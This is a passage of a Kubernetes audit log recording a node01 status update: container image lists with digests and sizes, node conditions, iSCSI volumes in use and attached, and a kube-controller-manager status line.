,\ registry.ci.i.my-corp.io/apps/sigpage:3f74f06c624cd2b20403bb2abe0e72774df6dd11\  ,\ sizebytes\ :2566369189},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:9c093f95d59da87c20693c41f826f7335a056cb2a9f583ede338531179acaa39\ ,\ registry.ci.i.my-corp.io/apps/sigpage:59904dec784790d8be3ae7caeb900c2fbfd4cbf6\  ,\ sizebytes\ :2566369130},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:2e5abe153ffc0afafe33dc7b8c69ca3e4e0d70b23b8521b4a18233cfca4a7c2a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:09412161cdc567fa9c2e0db34273a0d14d2e325d\  ,\ sizebytes\ :2566369114},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:d3514305af5359a5bc9a4a53b02d9b1c99e687a366250c749ecdd4076f73c43b\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d9fc886c839c97fc37f0747cc9a4336b05cba187\  ,\ sizebytes\ :2566368976},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:2873974db1805ec2a6a310ed7abf58f13b79e4a2d18fefdb3f4d0ddf70bea8d6\ ,\ registry.ci.i.my-corp.io/apps/sigpage:7b4cb4400cb95505460594ac685f3ef7d9dbfdd5\  ,\ sizebytes\ :2566368941},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3479e521375e236a62682da46bf56745ce6dbe5b73450aa1e09c7b1ea91794a6\ ,\ registry.ci.i.my-corp.io/apps/sigpage:9f5045f0d2348a16c271a4dbe115306d5ccd8fe9\  ,\ sizebytes\ :2563360491},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:132419d6f7bc19cb162c4b7eb5d8c374035dc9dc8e40496af8d048634420acad\ ,\ registry.ci.i.my-corp.io/apps/sigpage:91187d93a951ee91f89673d70872c489aa45f513\  ,\ sizebytes\ :2562463101},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:ce7b678ace071328d101e0acf1c5906d5602dcc83ba4ef02f8f3025d2783459e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:c2dd69b1cfa909f3d651c2702052ddd18d243722\  ,\ sizebytes\ :2562461303},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:4e4e551f47bd927b5128d9becf2db677a40cdeb22baa6238f8fbf26c08d09303\ ,\ registry.ci.i.my-corp.io/apps/sigpage:41c7908d79cb3fbce6dce50aa240711e6b6a4819\  ,\ sizebytes\ :2560202625},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:0a4c11511b33cd19e7afd2834d1edf754c09782c88a93a2c7213acf9d03ae769\ ,\ registry.ci.i.my-corp.io/apps/sigpage:328ed5184a0a8807f4e86dba555063eff32d1128\  ,\ sizebytes\ :2560187286},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a83cafbd37d26e9c13ef79696811f266aa2cc0f749a09f911f6784c30292029a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:a0d20c2ea291b6ca2eef5540434363ef160764cd\  ,\ sizebytes\ :2560187286},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:c9927df74e390d097fa2cffdc408cf6b4dc3a3823549b7ddef76973aa45def5a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:ac5f46e1cd6427ce450b0deb232f2d04f42cae35\  ,\ sizebytes\ :2560187234},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:76b5c57550ca047086b75e547733cc3180d97d97a714f602856caed87871556e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f4f96c176b00e9e476bd333ee76290d2a12c0d3a\  ,\ sizebytes\ :2560187184},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:f605687b1eb1502d09096d550577b92753df337b5999adf42a7de5fd38355337\ ,\ registry.ci.i.my-corp.io/apps/sigpage:7836958481886b622e5f9215f01d74821802998d\  ,\ sizebytes\ :2560187075},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:07112f224983e9c15058ff48d744b6ab57450d7d30278fe6228d46ee27d65b59\ ,\ registry.ci.i.my-corp.io/apps/sigpage:3d47eb3e1a543c243ab608ea470a6509e82871e4\  ,\ sizebytes\ :2560170925},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3fa5af040ca41594b46ef633b79b0935affef95753b51682d9cea115928253f7\ ,\ registry.ci.i.my-corp.io/apps/sigpage:ae3220fb26809b91c60ad71fb538693269efe76f\  ,\ sizebytes\ :2560170896},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a32fd1b5e4403ac82db278bdc0c9a2b5ac5e1b4f43ae015e7be3887c829ffa57\ ,\ registry.ci.i.my-corp.io/apps/sigpage:6599af824b8e4a91ab3235794b91a8f3f2c05a3b\  ,\ sizebytes\ :2560170173},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:d8cf79ba4adbe8b5500d7c747edf645c49386af15d98ddc9767fe81f8e075b05\ ,\ registry.ci.i.my-corp.io/apps/sigpage:c7fe8daebe99a686052e770c2b1983ef5d91563b\  ,\ sizebytes\ :2559953082},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:ae141e43ef42ca3a5909aba7a28d417ee4945efcd2ee871e44743c27cd0308f5\ ,\ registry.ci.i.my-corp.io/apps/sigpage:40f4a77bdddde9e7f70799f2d8d18f939c063383\  ,\ sizebytes\ :2559952976},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:262471b6f35c539d1f7c83c1e302c0770bf5cc3ffab13d5220f08dcf36a7fe97\ ,\ registry.ci.i.my-corp.io/apps/sigpage:2496ced9e5f113c4a9b496e493535e5e27694a82\ ,\ registry.ci.i.my-corp.io/apps/sigpage:36747fb58c6b17a3a72693fb828a0d0ef8eacfd3\  ,\ sizebytes\ :2559931411},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a558e2afa14ae04678356967c1e8aac03c5f39c67f46d8614af03df401673e13\ ,\ registry.ci.i.my-corp.io/apps/sigpage:75b9086f8646b959556688b5bc255fe4253315bc\  ,\ sizebytes\ :2559931411},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:d0b32a9eb5ed418d977e675315bda991f066af9249f1918cce77287042fba2c4\ ,\ registry.ci.i.my-corp.io/apps/sigpage:725bc46398a74ef2d0f61104d229ce198c0b3a15\  ,\ sizebytes\ :2557795642},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6a3cc1d552282c67178dce5b50143b8b6c13f15f759f671da1004bba085260f3\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f4449175f48360eb0907a7a5fedc6233695eff66\  ,\ sizebytes\ :2557795642},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:9075a983fd20d84d34008aedb2a193eb2570183c7d10c508f150c834614f0b42\ ,\ registry.ci.i.my-corp.io/apps/sigpage:2bfd6e9f4ebecfced1bc0a0c2548449168c1224e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:98e7c6d2cd1f76e1204d2e929aa8cfac6fc66261\ ,\ registry.ci.i.my-corp.io/apps/sigpage:cb825e4a3a988ab2dd0e3d51f3d8be9f94f719bb\ ,\ registry.ci.i.my-corp.io/apps/sigpage:e172f7fc1772ac73f93610a5ad7d15cb4720082c\  ,\ sizebytes\ :2557795187},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3f29acc089443b362c3a1611ab643b313d2a16b36b4a4a18182a3381bf55adb4\ ,\ registry.ci.i.my-corp.io/apps/sigpage:6b808422c457a715655fd437ac7fdc85d798a9c1\  ,\ sizebytes\ :2557793624},{\ names\ : \ registry.ci.i.my-corp.io/apps/ocr@sha256:d731ff3fa4892f5fbbd352a3db8629bcb58af15d3f318b33a6db14711c2597f0\ ,\ registry.ci.i.my-corp.io/apps/ocr:23997cb316dcfc349b5d08cb0997446167bfd90f\  ,\ sizebytes\ :2241128085} ,\ volumesinuse\ : \ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:34\ ,\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:42\ ,\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:5\ ,\ kubernetes.io/iscsi/ci-main-gitlab-redis-storage-f22f5:ci-main-gitlab-redis-storage-f22f5:0\ ,\ kubernetes.io/iscsi/prod-apps-ocr-prod-postgresql-baa0a:prod-apps-ocr-prod-postgresql-baa0a:0\  }},\ responseobject\ :{\ kind\ :\ node\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ node01\ ,\ selflink\ :\ /api/v1/nodes/node01/status\ ,\ uid\ :\ ff927685-4a46-11e8-8096-005056bced2e\ ,\ resourceversion\ :\ 36561049\ ,\ creationtimestamp\ :\ 2018-04-27t18:15:43z\ ,\ labels\ :{\ beta.kubernetes.io/arch\ :\ amd64\ ,\ beta.kubernetes.io/os\ :\ linux\ ,\ kubernetes.io/hostname\ :\ node01\ ,\ node-role.kubernetes.io/ingress\ :\ \ ,\ node-role.kubernetes.io/worker\ :\ \ },\ annotations\ :{\ node.alpha.kubernetes.io/ttl\ :\ 0\ ,\ projectcalico.org/ipv4address\ :\ 10.1.44.136/32\ ,\ volumes.kubernetes.io/controller-managed-attach-detach\ :\ true\ }},\ spec\ :{\ podcidr\ :\ 172.20.3.0/24\ ,\ externalid\ :\ node01\ },\ status\ :{\ capacity\ :{\ cpu\ :\ 12\ ,\ ephemeral-storage\ :\ 149968156ki\ ,\ memory\ :\ 32942144ki\ ,\ pods\ :\ 110\ },\ allocatable\ :{\ cpu\ :\ 12\ ,\ ephemeral-storage\ :\ 138210652341\ ,\ memory\ :\ 32839744ki\ ,\ pods\ :\ 110\ },\ conditions\ : {\ type\ :\ outofdisk\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ lasttransitiontime\ :\ 2018-04-27t18:15:43z\ ,\ reason\ :\ kubelethassufficientdisk\ ,\ message\ :\ kubelet has sufficient disk space available\ },{\ type\ :\ memorypressure\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ lasttransitiontime\ :\ 2018-05-06t17:32:50z\ ,\ reason\ :\ kubelethassufficientmemory\ ,\ message\ :\ kubelet has sufficient memory available\ },{\ type\ :\ diskpressure\ ,\ status\ :\ false\ ,\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ lasttransitiontime\ :\ 2018-05-06t17:32:50z\ ,\ reason\ :\ kubelethasnodiskpressure\ ,\ message\ :\ kubelet has no disk pressure\ },{\ type\ :\ ready\ ,\ status\ :\ true\ ,\ lastheartbeattime\ :\ 2018-05-30t16:28:56z\ ,\ lasttransitiontime\ :\ 2018-05-30t10:14:41z\ ,\ reason\ :\ kubeletready\ ,\ message\ :\ kubelet is posting ready status\ } ,\ addresses\ : {\ type\ :\ internalip\ ,\ address\ :\ 10.1.44.136\ },{\ type\ :\ hostname\ ,\ address\ :\ node01\ } ,\ daemonendpoints\ :{\ kubeletendpoint\ :{\ port\ :10250}},\ nodeinfo\ :{\ machineid\ :\ 40beb5eb909e171860ceee669da56e1d\ ,\ systemuuid\ :\ 423c92ff-163e-a491-b205-003d6fccf0d8\ ,\ bootid\ :\ fbe60ab3-ed6e-4bf7-a981-2d83eb61603a\ ,\ kernelversion\ :\ 4.14.32-coreos\ ,\ osimage\ :\ container linux by coreos 1688.5.3  rhyolite \ ,\ containerruntimeversion\ :\ docker://17.12.1-ce\ ,\ kubeletversion\ :\ v1.9.7\ ,\ kubeproxyversion\ :\ v1.9.7\ ,\ operatingsystem\ :\ linux\ ,\ architecture\ :\ amd64\ },\ images\ : {\ names\ : \ registry.ci.i.my-corp.io/apps/eigenv2@sha256:dd559a41e61a56cb026ef00260461441e05c2515f99a1e0b2024142fd3d15099\ ,\ registry.ci.i.my-corp.io/apps/eigenv2:2.0.7_auto_credentials_2\  ,\ sizebytes\ :3241810363},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:4eedca31e3813aaa070105b166f8039f67a12feb3243e4383972f0ed3a2e0f2b\ ,\ registry.ci.i.my-corp.io/apps/sigpage:4b9afd4a6015e21d7cc3ecfdaa9ddcf8692cd587\  ,\ sizebytes\ :2749328609},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:9e429a2254ab3c6aae883239c22d7cd83efc8d75983f0e65239b6cd01156da90\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f1a089117eb7cb9f574cad5b0bfc2aef86effdd9\  ,\ sizebytes\ :2749326441},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:2edd1b74d7f166b58f06bc00252e6a5f703ed9122018-05-30t16:28:56.925340395z 9d90f825171b012c03325831\ ,\ registry.ci.i.my-corp.io/apps/sigpage:c4fc903af078837a47f003fadf38d48b37f5b605\ ,\ registry.ci.i.my-corp.io/apps/sigpage:e21cf8bc0af680cd4f4f323775000ecb3ee1facd\  ,\ sizebytes\ :2749326441},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:012d8c0a74f949301f698ab9c5cc99cec8ea2fd72b8dc151a2e7dbef426c164e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:a68e0acf28fa4c1a5980a712b5c197e643717106\  ,\ sizebytes\ :2749325758},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6fb3d1ebcf0cadb53100f90351188292852c37f10e2869a81231bb9f6ef62d0c\ ,\ registry.ci.i.my-corp.io/apps/sigpage:83abf05709cf57d32f3bdbebfec7bbde1035b028\  ,\ sizebytes\ :2749325758},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:25494a871f8f3c32c720356901cd6c4503506be5d9224a9b786e60400c2b2446\ ,\ registry.ci.i.my-corp.io/apps/sigpage:8847bb9090203e6d6e7b40edff3dcadc83aa3fe4\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d19ff5783406b80dea1dbe3c2f57f0f376def884\  ,\ sizebytes\ :2749325619},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:dd06ab19f5213c15cb0a2f4b10808b6aea9d44a5093befd54d9bcc6f81561a26\ ,\ registry.ci.i.my-corp.io/apps/sigpage:122791bef01c9dd74383f76d6a6a2b973d9fd49c\  ,\ sizebytes\ :2749324655},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:143d836b411a86522b6fecd23dda00f8331735759d06a7870e45cbb703405814\ ,\ registry.ci.i.my-corp.io/apps/sigpage:0bdcdff1afb27f912c05b1fd633a006a65f246f7\  ,\ sizebytes\ :2749324286},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6b951dd0479018a69c18f3b86b59639dd78f4f6b0cb8661ac6adb610933d4c48\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d493a029db35cb574789da1405994663b5ae40cc\  ,\ sizebytes\ :2749324241},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:14ab225b3649fb844bc0443152410acf79b15a0943616590f7376af4eff85cd8\ ,\ registry.ci.i.my-corp.io/apps/sigpage:29f7cdb95fabb76c15d1c635d5eadfc3d1060516\  ,\ sizebytes\ :2749324208},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:1381c34498d792276658f3f79cba8471444b4da2e01fc6cb007f437df5a12032\ ,\ registry.ci.i.my-corp.io/apps/sigpage:ab16ebef60c5d7d04d822728c783466f17192931\  ,\ sizebytes\ :2749324201},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:befbc6c06cd1fd2be764f886e624df581fba51595fa8b2c8de44e0228ae5c9a5\ ,\ registry.ci.i.my-corp.io/apps/sigpage:9418250cc5ae3b8e83b51d6acbae0a006759ffb7\  ,\ sizebytes\ :2749323635},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:ed9da553096d02719919ca9c373cd0744be44a343991c4c7251242b8aace0398\ ,\ registry.ci.i.my-corp.io/apps/sigpage:12cbd6430fb30c9f8b6cb1d0b5ad5021cbffa7c9\  ,\ sizebytes\ :2749321616},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:5b668aa7af54f1930ba7b067e1076312941c5a716724ce02a9ba591efdc2a95f\ ,\ registry.ci.i.my-corp.io/apps/sigpage:3d70b1fbaa1cce205a1051a0c01d829b4d2fb07f\  ,\ sizebytes\ :2749314538},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:15d2d60157efb69353f237abda9ceb5ddefc41955088286cfa39b5e91f4586d9\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f41f434231099799f771501a2382c62657eb9ef2\  ,\ sizebytes\ :2749313855},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:4e7e5d3fe9f2b9097221c2637ee45385e159805e1f1c54336c15e957460fb454\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d61f64b4cc2cdb460d7d04ebc757dacf2bec5507\  ,\ sizebytes\ :2749312827},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:c9fbf31444c17e46738616ab4b37f9c5712de0e54bbf0931e763fdc726eedacf\ ,\ registry.ci.i.my-corp.io/apps/sigpage:dc74646d353581f30928e64f324c25414d2cbade\  ,\ sizebytes\ :2749312799},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6d95b09fe04178c745d00bfe0840c7880e99dad7bc9d01175446e989a976285a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:e4aa1fe7c14466804900a77f16b5fd537ab26152\  ,\ sizebytes\ :2566387819},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:0f3f6cc9a8dc5db9c7d7851813da59335b7d4cb68ed44c609666d175d56c8981\ ,\ registry.ci.i.my-corp.io/apps/sigpage:91bead83d30bd0fcf9a02c1af4fad779f39b8182\  ,\ sizebytes\ :2566387754},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:5cf8c66c1ef595d8d81dc7f0daf1b35f6aa325fa0f76aea4dee3d8eebfc7900e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:212ac6a67fb8019b84c901a8402978d6480070c7\  ,\ sizebytes\ :2566370389},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3acfe82f50f20955bc03f149ba8b539c5f3818afb934357e48b2022f62d3214d\ ,\ registry.ci.i.my-corp.io/apps/sigpage:a3f9dd813b36e643beb6f2d81f0191f3f5f5b68f\  ,\ sizebytes\ :2566369424},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:91e3538d3179a221348aaf63109dcd806eaa5b8afba755a1b28783367eb57e5e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:702057e655eb24ef3957bed7ffc4c508abc4f686\  ,\ sizebytes\ :2566369365},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a6adbdb25844cd9c0a90c5b811fd94099a3804ecdc966b1bca1e40c667efd251\ ,\ registry.ci.i.my-corp.io/apps/sigpage:30cc6b261be324024a7dc07838ddc5ede663ff4f\  ,\ sizebytes\ :2566369203},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:956e0713745314fae79c797bd7ee6194b67cdc85eca31b0e1e4389222fd4895b\ ,\ registry.ci.i.my-corp.io/apps/sigpage:3f74f06c624cd2b20403bb2abe0e72774df6dd11\  ,\ sizebytes\ :2566369189},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:9c093f95d59da87c20693c41f826f7335a056cb2a9f583ede338531179acaa39\ ,\ registry.ci.i.my-corp.io/apps/sigpage:59904dec784790d8be3ae7caeb900c2fbfd4cbf6\  ,\ sizebytes\ :2566369130},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:2e5abe153ffc0afafe33dc7b8c69ca3e4e0d70b23b8521b4a18233cfca4a7c2a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:09412161cdc567fa9c2e0db34273a0d14d2e325d\  ,\ sizebytes\ :2566369114},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:d3514305af5359a5bc9a4a53b02d9b1c99e687a366250c749ecdd4076f73c43b\ ,\ registry.ci.i.my-corp.io/apps/sigpage:d9fc886c839c97fc37f0747cc9a4336b05cba187\  ,\ sizebytes\ :2566368976},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:2873974db1805ec2a6a310ed7abf58f13b79e4a2d18fefdb3f4d0ddf70bea8d6\ ,\ registry.ci.i.my-corp.io/apps/sigpage:7b4cb4400cb95505460594ac685f3ef7d9dbfdd5\  ,\ sizebytes\ :2566368941},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3479e521375e236a62682da46bf56745ce6dbe5b73450aa1e09c7b1ea91794a6\ ,\ registry.ci.i.my-corp.io/apps/sigpage:9f5045f0d2348a16c271a4dbe115306d5ccd8fe9\  ,\ sizebytes\ :2563360491},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:132419d6f7bc19cb162c4b7eb5d8c374035dc9dc8e40496af8d048634420acad\ ,\ registry.ci.i.my-corp.io/apps/sigpage:91187d93a951ee91f89673d70872c489aa45f513\  ,\ sizebytes\ :2562463101},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:ce7b678ace071328d101e0acf1c5906d5602dcc83ba4ef02f8f3025d2783459e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:c2dd69b1cfa909f3d651c2702052ddd18d243722\  ,\ sizebytes\ :2562461303},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:4e4e551f47bd927b5128d9becf2db677a40cdeb22baa6238f8fbf26c08d09303\ ,\ registry.ci.i.my-corp.io/apps/sigpage:41c7908d79cb3fbce6dce50aa240711e6b6a4819\  ,\ sizebytes\ :2560202625},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:0a4c11511b33cd19e7afd2834d1edf754c09782c88a93a2c7213acf9d03ae769\ ,\ registry.ci.i.my-corp.io/apps/sigpage:328ed5184a0a8807f4e86dba555063eff32d1128\  ,\ sizebytes\ :2560187286},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a83cafbd37d26e9c13ef79696811f266aa2cc0f749a09f911f6784c30292029a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:a0d20c2ea291b6ca2eef5540434363ef160764cd\  ,\ sizebytes\ :2560187286},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:c9927df74e390d097fa2cffdc408cf6b4dc3a3823549b7ddef76973aa45def5a\ ,\ registry.ci.i.my-corp.io/apps/sigpage:ac5f46e1cd6427ce450b0deb232f2d04f42cae35\  ,\ sizebytes\ :2560187234},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:76b5c57550ca047086b75e547733cc3180d97d97a714f602856caed87871556e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f4f96c176b00e9e476bd333ee76290d2a12c0d3a\  ,\ sizebytes\ :2560187184},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:f605687b1eb1502d09096d550577b92753df337b5999adf42a7de5fd38355337\ ,\ registry.ci.i.my-corp.io/apps/sigpage:7836958481886b622e5f9215f01d74821802998d\  ,\ sizebytes\ :2560187075},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:07112f224983e9c15058ff48d744b6ab57450d7d30278fe6228d46ee27d65b59\ ,\ registry.ci.i.my-corp.io/apps/sigpage:3d47eb3e1a543c243ab608ea470a6509e82871e4\  ,\ sizebytes\ :2560170925},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3fa5af040ca41594b46ef633b79b0935affef95753b51682d9cea115928253f7\ ,\ registry.ci.i.my-corp.io/apps/sigpage:ae3220fb26809b91c60ad71fb538693269efe76f\  ,\ sizebytes\ :2560170896},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a32fd1b5e4403ac82db278bdc0c9a2b5ac5e1b4f43ae015e7be3887c829ffa57\ ,\ registry.ci.i.my-corp.io/apps/sigpage:6599af824b8e4a91ab3235794b91a8f3f2c05a3b\  ,\ sizebytes\ :2560170173},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:d8cf79ba4adbe8b5500d7c747edf645c49386af15d98ddc9767fe81f8e075b05\ ,\ registry.ci.i.my-corp.io/apps/sigpage:c7fe8daebe99a686052e770c2b1983ef5d91563b\  ,\ sizebytes\ :2559953082},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:ae141e43ef42ca3a5909aba7a28d417ee4945efcd2ee871e44743c27cd0308f5\ ,\ registry.ci.i.my-corp.io/apps/sigpage:40f4a77bdddde9e7f70799f2d8d18f939c063383\  ,\ sizebytes\ :2559952976},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:262471b6f35c539d1f7c83c1e302c0770bf5cc3ffab13d5220f08dcf36a7fe97\ ,\ registry.ci.i.my-corp.io/apps/sigpage:2496ced9e5f113c4a9b496e493535e5e27694a82\ ,\ registry.ci.i.my-corp.io/apps/sigpage:36747fb58c6b17a3a72693fb828a0d0ef8eacfd3\  ,\ sizebytes\ :2559931411},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:a558e2afa14ae04678356967c1e8aac03c5f39c67f46d8614af03df401673e13\ ,\ registry.ci.i.my-corp.io/apps/sigpage:75b9086f8646b959556688b5bc255fe4253315bc\  ,\ sizebytes\ :2559931411},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:d0b32a9eb5ed418d977e675315bda991f066af9249f1918cce77287042fba2c4\ ,\ registry.ci.i.my-corp.io/apps/sigpage:725bc46398a74ef2d0f61104d229ce198c0b3a15\  ,\ sizebytes\ :2557795642},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:6a3cc1d552282c67178dce5b50143b8b6c13f15f759f671da1004bba085260f3\ ,\ registry.ci.i.my-corp.io/apps/sigpage:f4449175f48360eb0907a7a5fedc6233695eff66\  ,\ sizebytes\ :2557795642},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:9075a983fd20d84d34008aedb2a193eb2570183c7d10c508f150c834614f0b42\ ,\ registry.ci.i.my-corp.io/apps/sigpage:2bfd6e9f4ebecfced1bc0a0c2548449168c1224e\ ,\ registry.ci.i.my-corp.io/apps/sigpage:98e7c6d2cd1f76e1204d2e929aa8cfac6fc66261\ ,\ registry.ci.i.my-corp.io/apps/sigpage:cb825e4a3a988ab2dd0e3d51f3d8be9f94f719bb\ ,\ registry.ci.i.my-corp.io/apps/sigpage:e172f7fc1772ac73f93610a5ad7d15cb4720082c\  ,\ sizebytes\ :2557795187},{\ names\ : \ registry.ci.i.my-corp.io/apps/sigpage@sha256:3f29acc089443b362c3a1611ab643b313d2a16b36b4a4a18182a3381bf55adb4\ ,\ registry.ci.i.my-corp.io/apps/sigpage:6b808422c457a715655fd437ac7fdc85d798a9c1\  ,\ sizebytes\ :2557793624},{\ names\ : \ registry.ci.i.my-corp.io/apps/ocr@sha256:d731ff3fa4892f5fbbd352a3db8629bcb58af15d3f318b33a6db14711c2597f0\ ,\ registry.ci.i.my-corp.io/apps/ocr:23997cb316dcfc349b5d08cb0997446167bfd90f\  ,\ sizebytes\ :2241128085} ,\ volumesinuse\ : \ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:34\ ,\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:42\ ,\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:5\ ,\ kubernetes.io/iscsi/ci-main-gitlab-redis-storage-f22f5:ci-main-gitlab-redis-storage-f22f5:0\ ,\ kubernetes.io/iscsi/prod-apps-ocr-prod-postgresql-baa0a:prod-apps-ocr-prod-postgresql-baa0a:0\  ,\ volumesattached\ : {\ name\ :\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:5\ ,\ devicepath\ :\ \ },{\ name\ :\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:34\ ,\ devicepath\ :\ \ } }},\ requestreceivedtimestamp\ :\ 2018-05-30t16:28:56.920247z\ ,\ stagetimestamp\ :\ 2018-05-30t16:28:56.924554z\ }\r  kube-controller-manager.log  2018-05-30t16:31:31.091379812z i0530 16:31:31.091200       1 node_status_updater.go:139  updating status for node \ node01\  succeeded. patchbytes: \ {\\\ status\\\ :{\\\ volumesattached\\\ : {\\\ devicepath\\\ :\\\ \\\ ,\\\ name\\\ :\\\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:34\\\ },{\\\ devicepath\\\ :\\\ \\\ ,\\\ name\\\ :\\\ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:5\\\ },{\\\ devicepath\\\ :\\\ \\\ ,\\\ name\\\ :\\\ 